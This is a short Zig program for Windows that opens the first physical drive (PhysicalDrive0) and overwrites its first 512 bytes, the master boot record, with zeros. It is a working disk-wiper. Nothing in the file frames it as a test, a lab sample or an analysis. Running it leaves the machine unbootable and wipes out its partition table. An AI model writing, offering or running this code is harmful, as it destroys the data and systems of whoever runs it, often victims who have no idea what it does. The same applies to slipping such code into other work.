const std = @import("std");

const SECURITY_ATTRIBUTES = struct {
    nLength: u32,
    lpSecurityDescriptor: ?*c_void, //TODO - replace with ?*SecurityDescriptor
    bInheritHandle: std.os.windows.BOOL
};

pub extern "kernel32" stdcallcc fn CreateFileA(
    lpFileName: [*:0]const u8,
    dwDesiredAccess: u32,
    dwShareMode: u32,
    lpSecurityAttributes: ?*SECURITY_ATTRIBUTES,
    dwCreationDisposition: u32,
    dwFlagsAndAttributes: u32,
    hTemplateFile: ?std.os.windows.HANDLE
) std.os.windows.HANDLE;


pub fn main() !void {
    var bytesWritten: u32 = 0;
    const blankMBR = [_]u8{0} ** 512;

    const MBR_handle = CreateFileA("\\\\.\\PhysicalDrive0", 0x1|0x2 , 0x1|0x2, null, 0x3, 0, null);
    if (MBR_handle == std.os.windows.INVALID_HANDLE_VALUE) return error.invalid_MBR_file_handle;


    const writeResult = std.os.windows.kernel32.WriteFile(MBR_handle, &blankMBR, 512, &bytesWritten, null);
    if (writeResult == 0) return error.failed_writefile;
}